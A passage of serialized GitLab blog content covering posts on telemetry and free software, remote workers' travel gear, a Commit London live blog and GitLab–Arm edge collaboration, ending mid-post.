Protect. We’re thrilled to continue evolving our team and partnering with our new teammates on a path forward. Our mission and commitment are clear: To create a best in-class security and compliance experience for our customers.\n\nThanks for reading! Any thoughts to share? Do you have stories about scaling your UX team? Tell us in the comments below!\n\n_Interested in joining the team? [We’re hiring!](https://about.gitlab.com/jobs/)_\n\n",[2249,2368],{"slug":26913,"featured":6,"template":678},"how-we-uxd-our-secure-ux-team","content:en-us:blog:how-we-uxd-our-secure-ux-team.yml","How We Uxd Our Secure Ux Team","en-us/blog/how-we-uxd-our-secure-ux-team.yml","en-us/blog/how-we-uxd-our-secure-ux-team",{"_path":26919,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26920,"content":26925,"config":26931,"_id":26933,"_type":16,"title":26934,"_source":17,"_file":26935,"_stem":26936,"_extension":20},"/en-us/blog/update-free-software-and-telemetry",{"title":26921,"description":26922,"ogTitle":26921,"ogDescription":26922,"noIndex":6,"ogImage":12013,"ogUrl":26923,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26923,"schema":26924},"Update on free software and telemetry (Updated October 29th, 2019)","Telemetry services and GitLab. (GitLab CE will continue to be free software)","https://about.gitlab.com/blog/update-free-software-and-telemetry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Update on free software and telemetry (Updated October 29th, 2019)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Scott Williamson\"}],\n        \"datePublished\": \"2019-10-10\",\n      }",{"title":26921,"description":26922,"authors":26926,"heroImage":12013,"date":26928,"body":26929,"category":299,"tags":26930},[26927],"Scott Williamson","2019-10-10","\n\n> **2019-10-29 UPDATE:** The following email is going out to all GitLab users: \n\n\nDear GitLab users and customers,\n\nOn October 23, we sent an email entitled “Important Updates to our Terms of Service and Telemetry Services” announcing upcoming changes. Based on considerable feedback from our customers, users, and the broader community, we reversed course the next day and removed those changes before they went into effect. Further, GitLab will commit to not implementing telemetry in our products that sends usage data to a third-party product analytics service. This clearly struck a nerve with our community and I apologize for this mistake.\n\nSo, what happened? In an effort to improve our user experience, we decided to implement user behavior tracking with both first and third-party technology. Clearly, our evaluation and communication processes for rolling out a change like this were lacking and we need to improve those processes. But that’s not the main thing we did wrong.\n\nOur main mistake was that we did not live up to our own core [value of collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) by including our users, contributors, and customers in the strategy discussion and, for that, I am truly sorry. It shouldn’t have surprised us that you have strong feelings about opt-in/opt-out decisions, first versus third-party tracking, data protection, security, deployment flexibility and many other topics, and we should have listened first.\n\nSo, where do we go from here? The first step is a retrospective that is happening on October 29 to document what went wrong. We are reaching out to customers who expressed concerns and collecting feedback from users and the wider community. We will put together a new proposal for improving the user experience and share it for feedback. We made a mistake by not collaborating, so now we will take as much time as needed to make sure we get this right. You can be part of the collaboration by posting comments in [this issue](https://gitlab.com/gitlab-com/www-gitlab-com/issues/5672). If you are a customer, you may also reach out to your GitLab representative if you have additional feedback.\n\nI am glad you hold GitLab to a higher standard. If we are going to be transparent and collaborative, we need to do it consistently and learn from our mistakes.\n\nSincerely,\n\nSid Sijbrandij\n\nCo-Founder and CEO\n\nGitLab\n\n\n> **2019-10-24 UPDATE**: We've heard your concerns and questions and have rolled back any changes to our Terms of Service. We’re going to process the feedback and rethink our approach. We will not activate user level product usage tracking on GitLab.com or GitLab self-managed before we address the feedback and re-evaluate our plan. We will make sure to communicate our proposed changes prior to any changes to GitLab.com or self-managed instances, and give sufficient time for people to provide feedback for a new proposal. We'll work in [this issue](https://gitlab.com/gitlab-com/www-gitlab-com/issues/5672).\n\nFour years ago, there was a [guest blog post and discussion about free software and GitLab](/blog/gitlab-gitorious-free-software/). That discussion has continued to inform GitLab’s free software philosophy for years and has served as a guiding light for making decisions on how we strike an appropriate balance in our [open core](/blog/thoughts-on-open-source/) strategy. On one hand, we [value results](https://handbook.gitlab.com/handbook/values/#results) and we believe an open core model is the best path to achieve that. It also means making our products better as fast as possible for our customers and users. On the other hand, we want to make sure that users who prefer using only free software can have a positive GitLab experience, as open source communities are important to GitLab.\n\nTo make GitLab better faster, we need more data on how users are using GitLab. SaaS telemetry products, which provide analytics on user behavior inside web-based applications, have come a long way in the past few years. They are an important tool for rapidly improving user experiences because you can understand what users are doing (or not doing) in the app. GitLab has a lot of features, and a lot of users, and it is time that we use telemetry to get the data we need for our product managers to improve the experience.\n\nMost of these tools use JavaScript snippets (similar to Google Analytics) that execute in the user’s browser and send information back to the telemetry service. While there are open source options, the leading commercial telemetry solutions often use proprietary JavaScript snippets. For a majority of users, disclosure of JavaScript usage in a privacy policy, along with describing how we are going to use the data, may be sufficient. But we also recognize that users who prefer only free software may have concerns.\n\nSo, we are planning some changes that I will describe below. But rest assured, a very important thing is not changing: [GitLab Community Edition](/install/ce-or-ee/) will continue to be free software with no changes. If you want to install your own instance of GitLab without proprietary software, GitLab Community Edition (CE) remains a great option, as it is licensed under the MIT License. Many open source software projects use GitLab CE for their SCM and CI needs, and nothing is changing with GitLab CE.\n\n## Planned changes\n\n[GitLab.com (GitLab’s SaaS offering)](/pricing/#gitlab-com) and [GitLab's proprietary Self-Managed packages (Starter, Premium, and Ultimate)](/pricing/#self-managed) will now include additional Javascript snippets (both open source and proprietary) that will interact with both GitLab and possibly third-party SaaS telemetry services (we will be using Pendo). We will disclose all such usage in our [privacy policy](/privacy/), as well as what we are using the data for. We will also ensure that any third-party telemetry service we use will have data protection standards at least as strong as GitLab, and will aim for SOC2 compliance (Pendo is SOC2 compliant).\n\nIn order to service the needs of GitLab.com and GitLab Self-Managed users who do not want to be tracked, both GitLab.com and GitLab Self-Managed will honor the [Do Not Track (DNT)](https://en.wikipedia.org/wiki/Do_Not_Track) mechanism in web browsers. This means that, if you turn on Do Not Track in your browser, GitLab will not load the JavaScript snippet. The only downside to this is that users may also not get the benefit of in-app messaging or guides that some third-party telemetry tools have that would require the JavaScript snippet.\nOverall, we believe these changes will continue to help us achieve results in improving our product experience for users, while also giving choice to users who only want free software. Please let us know your thoughts.\n\n",[736,676],{"slug":26932,"featured":6,"template":678},"update-free-software-and-telemetry","content:en-us:blog:update-free-software-and-telemetry.yml","Update Free Software And Telemetry","en-us/blog/update-free-software-and-telemetry.yml","en-us/blog/update-free-software-and-telemetry",{"_path":26938,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26939,"content":26945,"config":26949,"_id":26951,"_type":16,"title":26952,"_source":17,"_file":26953,"_stem":26954,"_extension":20},"/en-us/blog/whats-in-your-backpack",{"title":26940,"description":26941,"ogTitle":26940,"ogDescription":26941,"noIndex":6,"ogImage":26942,"ogUrl":26943,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26943,"schema":26944},"GitLab's top tools for remote workers","GitLab team members open their backpacks to share their top tools for remote work.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678459/Blog/Hero%20Images/darren_backpack_iceland.jpg","https://about.gitlab.com/blog/whats-in-your-backpack","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's top tools for remote workers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-10-10\",\n      }",{"title":26940,"description":26941,"authors":26946,"heroImage":26942,"date":26928,"body":26947,"category":6634,"tags":26948},[17272],"\n_At GitLab, our team doesn’t wake up at the same time and commute the same routes to sit in the same office. In fact, some of our team members don’t have an office at all! As a globally distributed company with an all-remote workforce, we have an exceptionally diverse set of team members spread over multiple continents. In other words, we're uniquely positioned to identify the top tools for remote workers. In this series, we explore how GitLab team members use the autonomy our company affords them to create workspaces that suit their lifestyle and cater to their hierarchy of needs, whether that involves creating a cozy home office space or diving into the unknown by working while traveling. See how we make it work by reading [part 1](/blog/not-everyone-has-a-home-office/) and [part 2](/blog/how-to-push-code-from-a-hammock/) of our remote work series._\n\nWhen you’re working far from home sometimes you wind up at a sleek coworking space and other times you land in the – literal – middle of nowhere. GitLab team members that work from the road will tell you that while leaning into adventure is a rush, it’s best to come prepared.\n\n![Middle of Nowhere](https://about.gitlab.com/images/blogimages/backpack/nowhere.jpg){: .shadow.small.center}\nKerri Miller is fond of exploring small quirky towns by motorcycle, but every once in a while she ends up someplace she'd never expected.\n{: .note.text-center}\n\n“I’m always re-evaluating what I bring, and every trip involves experimenting with some new piece of gear or different approach to the routine,\" says [Kerri Miller](/company/team/#kerrizor), Create backend engineer at GitLab. Kerri lives in Seattle, Washington but spends almost half the year adventuring across North America on her motorcycle.\n\n“I have a bit more leeway than most travelers, since I’m not limited to just a backpack or a single piece of luggage, but I do have to carry quite a bit of other gear to support the motorcycle – tools, spare tubes for the tires, rain gear, camping gear, etc. – so space and weight are still a premium,\" says Kerri. \"I take a lot of inspiration from the ultralight backpackers and the ‘1 bag’ traveler.\"\n\n## Favorite remote work backpacks\n\nLet’s face it: The backpack or bag itself is critical to the digital nomad experience. The type of bag you require will vary in texture, size, and durability depending upon where and under what conditions you’re traveling, how much you’re packing, and whether you’re prioritizing sturdiness or style – but truly, why compromise on either?\n\nJust like Kerri, professional services engineer [Mike Lindsay](/company/team/#mlindsay) enjoys hitting the open road by motorcycle.\n\n“I road warrior it up to customer engagements probably once a month,\" says Mike. “The bag is a Swiss Army backpack, I love it. It opens up like a clam shell, so you can expose the laptop without actually taking it out. The back **AND** the bottom are padded, so my laptop doesn't take any hard knocks, even when dropping it on the ground. The big non-laptop pockets usually get whatever reading material or swag I'm taking with me.\"\n\n[Justin Boyson](/company/team/#jboyson), frontend engineer for Create:Source Code, uses a roll-top waterproof[ Kriega](https://kriega.us/us10) bag, which, incidentally, is a favorite of many motorcyclists: “It's awesome because it looks cool and is completely rainproof,\" Justin says.\n\n[Taylor Medlin](/company/team/#tmedlin), solutions architect, Americas, uses the [Topo Designs Rover Pack](https://topodesigns.com/collections/laptop-bags/products/rover-pack?variant=12789839953973), which is locally crafted in her home state of Colorado and has bright colors for a fun, retro vibe.\n\n[Jackie Gragnola](/company/team/#jgragnola), marketing programs manager at GitLab, is based in San Francisco, California but seems to always be on the move from one city to the next. She can fit most everything she needs inside her go-to purse, which she bought while abroad in Lima, Peru.\n\n![What's in your purse](https://about.gitlab.com/images/blogimages/backpack/whats-in-your-purse.jpg){: .shadow.small.center}\nSometimes you stumble upon the perfect purse at your neighborhood boutique or a big box store. Othertimes, you find it in Peru.\n{: .note.text-center}\n\nIf Jackie needs to bring along more than her usual set-up, she’ll use her backpack of choice: The [Nomatic day backpack](https://www.nomatic.com/products/the-nomatic-backpack).\n\n“It can be locked and attached to a table and is great if working out of a coffee shop,\" Jackie says. \"It has lots of compartments and is perfect for safety and security while traveling.\"\n\n## GitLab: Tools for remote workers unpacked\n\nIn order to effectively work from anywhere, the remote worker really only needs four things: a backpack or bag of sorts, a laptop, WiFi, and power. While the rest of the things in your backpack might be non-essentials in terms of work, being uncomfortable or less effective for the sole reason of traveling light is not always the best way to go. GitLab team members unpacked their bags to show us the equipment they use to set up a satellite workspace from just about anywhere.\n\nMike gave us a tour inside his beloved Swiss Army backpack.\n\n![Swiss Army Backpack](https://about.gitlab.com/images/blogimages/backpack/mike.jpg){: .shadow.small.center}\nMike Lindsay's backpack is durable and can withstand the elements on the back of his motorcycle.\n{: .note.text-center}\n\n*   **Top pocket**: Network cable, dual port USB charger with squid cable (in case I make friends!), extra thumb drives, wired earphones (maybe earbuds are dead, or inflight screen can use them).\n*   **Left side pocket**: battery backup, bandaids, glasses cleaner and cloth, toothpaste.\n*   **Right side pocket**: Spare Mac power brick with extension cable adapter.\n*   **Lower middle pocket**: Bag of geek stickers, snap on key ring, pens, Mac USB-C adapter.\n\nThe bright colors of Taylor's Topo Designs backpack are matched by its brightly colored contents.\n\n\"I use the black notebook for GitLab-specific notes and an orange notebook for daily planning,\" she says. \"GitLab stickers, peppermint chapstick, lipstick, USB-C adaptor, [Thread wallet](https://www.threadwallets.com/), [Apple Pencil](https://www.apple.com/apple-pencil/), [iPad Pro](https://www.apple.com/ipad-pro/), [Apple Magic trackpad](https://www.apple.com/shop/product/MRMF2LL/A/magic-trackpad-2-space-gray), MacBook Pro, Nalgene bottle.\"\n\n![Topo Designs Backpack](https://about.gitlab.com/images/blogimages/backpack/taylor.jpg){: .shadow.small.center}\nInside Taylor's colorful backpack we find something that isn't mentioned by any other GitLab team members: pen and paper!\n{: .note.text-center}\n\nKerri has a few necessities to make engineering from the road a little less hectic than it might otherwise be with just a laptop and charger.\n\n“I always travel with a small power strip that has 3 AC plugs and 3 USB ports, and a short 8\" cable. This is essential for charging all my devices and accessories without hogging all the plugs!\" says Kerri. She also brings a compact mechanical keyboard. “Most laptop keyboards I find not only fatiguing, but their delicate keys don’t always hold up to the demands of a nomad traveler,\" she explains.\n\n![Kerri and her motorcycle](https://about.gitlab.com/images/blogimages/backpack/kerri.jpg){: .shadow.small.center}\nKerri working on GitLab from the back of her motorcycle.\n{: .note.text-center}\n\n“I get stopped in coffee shops and coworking spaces all the time about my setup,\" says Jackie. “It’s not great for productivity, but if I was making a commission from these convos this would be a solid side gig.\"\n\n![Jackie's workplace setup](https://about.gitlab.com/images/blogimages/backpack/dual-screen-setup.jpg){: .shadow.small.center}\nJackie's dual screen setup in Valencia, Spain.\n{: .note.text-center}\n\nTo set-up her typical workplace, Jackie uses:\n\n*   [Roost stand](https://www.therooststand.com/)\n*   [Anker bluetooth keyboard](https://www.anker.com/products/variant/anker-bluetooth-ultraslim-keyboard/A7726111)\n*   [Apple magic mouse](https://www.apple.com/shop/product/MRME2LL/A/magic-mouse-2-space-gray)\n*   [Asus external monitor 169B+](https://www.asus.com/us/Monitors/MB169BPlus/HelpDesk_Download/)\n*   [Apple airpods](https://www.apple.com/airpods/)\n*   Backup wired earpods if needed\n\n[Erich Wegscheider](/company/team/#ewegscheider), talent operations specialist at GitLab, is [currently in Bali on a coworking adventure with WiFi Tribe](/blog/not-all-remote-is-created-equal/). Like Jackie, Erich uses the Apple magic mouse 2, and also the [Apple magic keyboard](https://www.apple.com/shop/product/MLA22LL/A/magic-keyboard-us-english), along with universal power adapters and a power bank in case the power goes out.\n\nErich also brought a laptop stand with him on his journey. He says the [Tiny Tower Laptop Stand](https://tinytowerstand.com) is “key to helping maintain a healthy posture while working _without_ a proper monitor.\" Sadly, not everything fits comfortably in a backpack.\n\n![Bali workspace](https://about.gitlab.com/images/blogimages/baliworkspace.png){: .shadow.small.center}\nErich managed to configure an ergonomic workspace in Bali.\n{: .note.text-center}\n\nPeople experience associate at GitLab, Caroline, is working as she explores Europe, and if there is one thing that she always, without fail, has in her backpack, it’s power adapters.\n\n\"Call it paranoia but I always pack US, UK, and EU extra adapters/converters,\" says Caroline. There is a background story here. Caroline, who lives in Kenya, traveled to South Africa for the first time last year to meet up with some GitLab colleagues.\n\n\"I got to my room in South Africa five minutes before a meeting only for the outlets to look totally alien to me,\" she says. \"I didn't know they were the **only country in the world** that used such plugs and needless to say, I missed the meeting.\"\n\nShe also has an extra phone with her so she can easily create a WiFi hotspot.\n\n## GitLab’s roadtrip essentials\n\nIt’s not _quite_ the same as working out of a backpack, but GitLab product manager Nicole Schwartz has been on a months-long roadtrip across the United States, living out of a suitcase and the trunk of her car as she visits friends, GitLab team members, and speaks at conferences along the way.\n\nLike Caroline, Nicole also has an extra phone for WiFi tethering and also recommends a nice set of noise-cancelling headphones (a must-have even if you’re working at home!), a portable mouse and mousepad, extension cord and powerstrip, and, if you have room, a USB monitor which is great for when you can work from a hotel room.\n\n“Download podcasts and YouTube videos to listen to on the drive since the radio will cut in and out and you might as well be productive,\" Nicole says.\n\nSince GitLab is a global, asynchronous team, most team meetings are recorded and uploaded to our [GitLab Unfiltered channel on YouTube](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A), and a few teams even use the [audio from meetings to create podcasts](/blog/how-we-turned-40-person-meeting-into-a-podcast/) to make it easy to stay up-to-date on what’s happening.\n\nNicole has a few recommendations for anyone considering working and traveling for an extended period of time, including packing laundry detergent (she uses TidePods) and having dollars and quarters on-hand to pay bridge and road tolls (and also feed washers and dryers).\n\n## Outreach, from your backpack\n\nThere are so many perks that come with working at GitLab: The fact that we are family-first not just in principle, but in practice; the personal and professional autonomy our company affords us; unlimited PTO and being encouraged to _actually use it_; and of course, the fact that we are all remote. But at the end of the day, the best brand ambassadors are all of us.\n\nInside his rolltop, rain-proof Kriega backpack, Justin brings a laptop and charger, as well as “backup wired earbuds, because airpods don't last forever. Oh, and a bag of GitLab stickers!\"\n\n![Stickers](https://about.gitlab.com/images/blogimages/backpack/justin.jpg){: .shadow.small.center}\nNo backpack is fully packed without GitLab swag.\n{: .note.text-center}\n\nJustin is certainly not the only GitLab team member who carries stickers in his backpack. You may have noticed in our photos that, like laptop stands and bluetooth headphones, GitLab stickers and other treats often come along with our team members, whether they're just stopping in their neighborhood coffee shop or traveling thousands of miles from home.\n\n“It isn’t a work essential per se, but I also try to have a stash of stickers, and some kind of snack treats from Seattle – small packs of salmon, bonbons from a local manufacturer, or small sample packs of coffee from a local roaster,\" says Kerri. “I’ll try to gift these to the folks who help me out on the road, who give me directions, provide a place to stay, or to cafe managers who turn a blind eye to me staying in one place for several hours.\"\n\n**More tips for productive remote working:**\n\n[5 remote work best practices](/blog/mastering-the-all-remote-environment/)\n[Tried and true remote work productivity hacks](/blog/how-to-build-a-more-productive-remote-team/)\n[Be the boss of your video call](/blog/tips-for-mastering-video-calls/)\n\nCover image by Darren Murph\n{: .note}\n",[3798,676],{"slug":26950,"featured":6,"template":678},"whats-in-your-backpack","content:en-us:blog:whats-in-your-backpack.yml","Whats In Your Backpack","en-us/blog/whats-in-your-backpack.yml","en-us/blog/whats-in-your-backpack",{"_path":26956,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26957,"content":26962,"config":26967,"_id":26969,"_type":16,"title":26970,"_source":17,"_file":26971,"_stem":26972,"_extension":20},"/en-us/blog/live-from-commit-london",{"title":26958,"description":26959,"ogTitle":26958,"ogDescription":26959,"noIndex":6,"ogImage":26564,"ogUrl":26960,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26960,"schema":26961},"Live from Commit London","We're having a packed day at our first European user conference. Watch this space for the latest news.","https://about.gitlab.com/blog/live-from-commit-london","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Live from Commit London\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-10-09\",\n      }",{"title":26958,"description":26959,"authors":26963,"heroImage":26564,"date":26964,"body":26965,"category":299,"tags":26966},[11618],"2019-10-09","\n**9:30AM BST** – GitLab CEO [Sid Sijbrandij](/company/team/#sytses) told attendees at our first European user conference that support for Amazon Web Services' Elastic Kubernetes Service (EKS) will be available later this year. Sid also underscored the importance of the European market. Almost one-third of GitLab's business comes from Europe and 42% of our customers are based in Europe.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-partner=\"tweetdeck\">\u003Cp lang=\"en\" dir=\"ltr\">Gitlab Commit London warming up with breakfast networking 🤜🏻💥🚀 cc \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/gitlabcommit?src=hash&amp;ref_src=twsrc%5Etfw\">#gitlabcommit\u003C/a> \u003Ca href=\"https://t.co/ke7nsNE7pO\">pic.twitter.com/ke7nsNE7pO\u003C/a>\u003C/p>&mdash; James McLeod (@mcleo_d) \u003Ca href=\"https://twitter.com/mcleo_d/status/1181849833604337667?ref_src=twsrc%5Etfw\">October 9, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n**10:00AM BST** – Speed matters, particularly at Porsche AG. Software engineers Alberto Gisbert and Dennis Menge told Commit 2019 attendees how a quest to improve collaboration, reduce tool complexity and achieve a single source of truth led the car manufacturer to GitLab. Porsche started using GitLab in Europe initially, but quickly realized it needed to expand to China, Porsche's largest market, as well. One year into the project, Porsche has more than 660 repositories with more than 250 active users. All told, more than 80,000 pipelines have been triggered.\n\nUp next, Capgemini UK's [Matt Smith](https://twitter.com/Harmelodic) shared how to go from [Zero to K8s: As Fast As Possible](https://gitlabcommit2019london.sched.com/event/UL5X/zero-to-k8s-as-fast-as-possible):\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\">\u003Cp lang=\"en\" dir=\"ltr\">Britney mic&#39;d up!\u003Cbr>\u003Cbr>On stage in half an hour 😬\u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a> \u003Ca href=\"https://t.co/ivQ1V9waBW\">pic.twitter.com/ivQ1V9waBW\u003C/a>\u003C/p>&mdash; Matt Smith (@Harmelodic) \u003Ca href=\"https://twitter.com/Harmelodic/status/1181851029048102912?ref_src=twsrc%5Etfw\">October 9, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nCoding in the blink of an eye!\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-partner=\"tweetdeck\">\u003Cp lang=\"en\" dir=\"ltr\">.\u003Ca href=\"https://twitter.com/Harmelodic?ref_src=twsrc%5Etfw\">@Harmelodic\u003C/a> is talking faster than \u003Ca href=\"https://twitter.com/hashtag/terraform?src=hash&amp;ref_src=twsrc%5Etfw\">#terraform\u003C/a> can deploy things :joy: Great live coding :sunglasses: \u003Ca href=\"https://twitter.com/hashtag/gitlabcommit?src=hash&amp;ref_src=twsrc%5Etfw\">#gitlabcommit\u003C/a> \u003Ca href=\"https://t.co/LS0t3GdqHx\">pic.twitter.com/LS0t3GdqHx\u003C/a>\u003C/p>&mdash; Michael Friedrich (@dnsmichi) \u003Ca href=\"https://twitter.com/dnsmichi/status/1181862263680053248?ref_src=twsrc%5Etfw\">October 9, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n**11:30AM BST** – How to shift left and bring security more firmly into development was the topic of a mid-morning panel discussion at Commit.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/Shetti?ref_src=twsrc%5Etfw\">@Shetti\u003C/a> of \u003Ca href=\"https://twitter.com/VMware?ref_src=twsrc%5Etfw\">@VMware\u003C/a> leads a panel discussion on security in the software development life cycle with Jeremy Guido, \u003Ca href=\"https://twitter.com/plafoucriere?ref_src=twsrc%5Etfw\">@plafoucriere\u003C/a> and \u003Ca href=\"https://twitter.com/simasotiris?ref_src=twsrc%5Etfw\">@simasotiris\u003C/a>.\u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/womenintech?src=hash&amp;ref_src=twsrc%5Etfw\">#womenintech\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/womeninstem?src=hash&amp;ref_src=twsrc%5Etfw\">#womeninstem\u003C/a> \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/womenwhocode?src=hash&amp;ref_src=twsrc%5Etfw\">#womenwhocode\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/git?src=hash&amp;ref_src=twsrc%5Etfw\">#git\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/DevOps?src=hash&amp;ref_src=twsrc%5Etfw\">#DevOps\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/opensource?src=hash&amp;ref_src=twsrc%5Etfw\">#opensource\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/security?src=hash&amp;ref_src=twsrc%5Etfw\">#security\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/sdlc?src=hash&amp;ref_src=twsrc%5Etfw\">#sdlc\u003C/a> \u003Ca href=\"https://t.co/lQeQYelTVv\">pic.twitter.com/lQeQYelTVv\u003C/a>\u003C/p>&mdash; Suze Shardlow at #GitLabCommit (@SuzeShardlow) \u003Ca href=\"https://twitter.com/SuzeShardlow/status/1181874495268773888?ref_src=twsrc%5Etfw\">October 9, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nSotiraki Sima, executive director in technology risk at Goldman Sachs, stressed the benefits of starting small and being prepared to continually adapt to new technologies and new tools. [Jeremy Guido](https://fr.linkedin.com/in/jeremyguido), backend engineer with My Data Models, said designating a security leader in a development team can help to make everyone feel more like a stakeholder. And [Philippe Lafoucriere](https://about.gitlab.com/company/team/#plafoucriere), distinguished engineer at GitLab, stressed the role of automation in scaling security throughout the SDLC. The bottom line: it's a process so take it a step at a time.\n\n**1:00PM BST** – What's next for the GitLab tool? [Eric Brinkman](/company/team/#ebrinkman), director of product, dev products, outlined our technology roadmap. He began with Meltano, a six-person startup located within GitLab that is focused on bringing DevOps best practices to DataOps. Eric announced that today [version 1.0 of Meltano](https://meltano.com/blog/meltano-graduates-to-version-1-0/) is available.\n\nAnd that was just the beginning. Value stream management will be coming soon to Manage, Eric said, so users will be able to track efficiency metrics and ultimately receive recommendations. Plan stage will add high and low release requirements related to code and test. In Create, our source code management and code review will get an upgrade with an improved Web IDE and eventually the ability to do live coding. Verify will receive load testing runs by default and Secure will get [fuzzing](/direction/secure/dynamic-analysis/fuzz-testing/) as a built-in part of security testing. Changes to Release will mean automatically staged rollbacks and Configure will invest in run books to improve mean time to recovery. Protect will continue to invest in real-time threat detection capabilities. And finally auto remediation is on the horizon so at some point the largely manual (and often annoying) job of finding and fixing vulnerabilities will be a thing of the past. \"This is something that can truly bring dev, sec and ops together,\" Eric said.\n\nNote: All sessions from Commit London are being recorded and will be available on our [YouTube channel](https://youtube.com/gitlab) in 24-48 hours.\n{: .alert.alert-info}\n",[267,277,676,736,4772,3949],{"slug":26968,"featured":6,"template":678},"live-from-commit-london","content:en-us:blog:live-from-commit-london.yml","Live From Commit London","en-us/blog/live-from-commit-london.yml","en-us/blog/live-from-commit-london",{"_path":26974,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26975,"content":26981,"config":26987,"_id":26989,"_type":16,"title":26990,"_source":17,"_file":26991,"_stem":26992,"_extension":20},"/en-us/blog/devops-on-the-edge-a-conversation-about-gitlab-and-arm",{"title":26976,"description":26977,"ogTitle":26976,"ogDescription":26977,"noIndex":6,"ogImage":26978,"ogUrl":26979,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26979,"schema":26980},"DevOps on the edge: Upcoming collaborations between GitLab and Arm","Check out the latest news from the technical evangelist team about upcoming initiatives from GitLab and Arm.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682923/Blog/Hero%20Images/gitlab-arm-collaboration.jpg","https://about.gitlab.com/blog/devops-on-the-edge-a-conversation-about-gitlab-and-arm","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps on the edge: Upcoming collaborations between GitLab and Arm\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Priyanka Sharma\"}],\n        \"datePublished\": \"2019-10-08\",\n      }",{"title":26976,"description":26977,"authors":26982,"heroImage":26978,"date":26984,"body":26985,"category":813,"tags":26986},[26983],"Priyanka Sharma","2019-10-08","\nDevOps has moved from being a trend to an established cornerstone of the software development and delivery lifecycle. Today, the best practices of DevOps are being applied, in new and unique ways, to edge computing. As a board member of the Cloud Native Computing Foundation, I participate in open source communities regularly and over the years, I have collaborated with various folks from Arm because today where there is the edge, there is Arm.\n\nAs the technical evangelism leader at GitLab, I got involved with folks from the Arm project when collaborating on [CNCF.ci](http://cncf.ci). GitLab is a complete [DevOps platform](/solutions/devops-platform/), delivered as a single application. A key component of our product is our CI/CD pipeline that is well loved and used in the industry. Arm, through its market leadership in the mobile and embedded space, is now expanding into infrastructure space for edge-to-cloud applications. There is tremendous potential to grow within this emerging space and offer software developers a frictionless environment to develop innovative software at a rapid pace, securely.\nArm is having their annual conference [Arm TechCon 2019](https://www.armtechcon.com/) this week in San Jose, California, and I thought this is a great opportunity to highlight key projects and activities happening within the ecosystem involving Arm and GitLab:\n\n### GitLab for edge base research projects\n\nEric Van Hensbergen, R&D fellow from Arm's Research team, has been leading an effort to [use GitLab for edge base research projects](https://community.arm.com/developer/research/b/articles/posts/continuous-cross-architecture-integration-with-gitlab) creating multi-architecture images using Docker containers, including running GitLab’s 64-bit Runner on Arm instances on public cloud providers such as Packet Cloud and AWS. You can [access the runner](https://packages.gitlab.com/runner/gitlab-runner) for yourself too!\n\n### Stream processing on the edge\n\nLast month at [GitLab Commit Brooklyn](/blog/wrapping-up-commit/), GitLab’s first ever user conference, Eduardo Silva, principal engineer from Arm Treasure Data, [delivered a talk on the benefits of stream processing on the edge](https://gitlabcommit2019brooklyn.sched.com/event/TPDd/picking-up-speed-logging-stream-processing) in distributed systems using [Fluent Bit](https://fluentbit.io/) (a [Fluentd](https://www.fluentd.org/) open source sub-project).\n\n### Join the CNCF CI Working Group Monthly Meeting\n\nToday, all projects on [CNCF.CI](https://cncf.ci/) are being 